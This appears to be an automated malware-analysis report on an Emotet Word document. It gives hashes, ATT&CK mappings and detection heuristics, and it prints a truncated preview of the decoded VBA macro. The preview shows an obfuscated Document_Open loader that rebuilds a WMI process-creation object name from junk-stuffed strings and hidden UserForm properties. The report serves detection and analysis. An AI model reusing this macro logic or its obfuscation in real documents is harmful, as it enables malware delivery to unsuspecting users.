Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 42d8ebfe1c29fa0f…

MALICIOUS

Office (OLE)

238.8 KB Created: 2020-08-20 14:20:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: ece13318a8c919d1dab6fe23e6544274 SHA-1: 820b99d3624881bcda4246020f10571e5edca2aa SHA-256: 42d8ebfe1c29fa0f24cce958075ec39bbed956a42ac7e07e1536db538e52fe6e
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a UserForm hidden-property command stager, which are indicative of Emotet. The ClamAV detection name further supports this attribution. The VBA code likely attempts to download and execute a second-stage payload, a common Emotet behavior.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9424934-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9424934-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11040 bytes
SHA-256: 7b9876c8959bc7c7f5c4c6fed65362a2ffe3b867d205bb8a5c8fc65ebebaf8c7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Mwwyjb0dgk9wpkh"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Zab3f9gf4w8r9bmem.Y5j88wot8wrh
End Sub


Attribute VB_Name = "Zab3f9gf4w8r9bmem"
Attribute VB_Base = "0{D4DB6A43-1EFE-412B-A8AB-9B75D0887E17}{2FA30B14-E4A0-4931-9F53-41F802AA1434}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Y5j88wot8wrh()
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Uamka1h0fbu = Zab3f9gf4w8r9bmem.HelpContextId + 50 + 50
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Uwxytv9gxow = ChrW(Uamka1h0fbu + (15))
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Xsnnomcy3wfwmpcgj0 = "12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]w12bb$ hs1g 2[gg222sh 7219681]i12bb$ hs1g 2[gg222sh 7219681]nm12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]gm12bb$ hs1g 2[gg222sh 7219681]t12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]" + Uwxytv9gxow + "12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]:12bb$ hs1g 2[gg222sh 7219681]w12bb$ hs1g 2[gg222sh 7219681]in12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]312bb$ hs1g 2[gg222sh 7219681]212bb$ hs1g 2[gg222sh 7219681]_12bb$ hs1g 2[gg222sh 7219681]" + Zab3f9gf4w8r9bmem.J_jfctl8taf1 + "12bb$ hs1g 2[gg222sh 7219681]ro12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]ce12bb$ hs1g 2[gg222sh 7219681]s12bb$ hs1g 2[gg222sh 7219681]s12bb$ hs1g 2[gg222sh 7219681]"
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Khawr2f8da6ge5 = Bj0e87tc0w23(Xsnnomcy3wfwmpcgj0)
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Set Mpq8nn41g1ucy = CreateObject(Khawr2f8da6ge5)
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Lkiq886n0hbndv = Zab3f9gf4w8r9bmem.Xy570pktf2ra2pc.ControlTipText
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End 
... (truncated)

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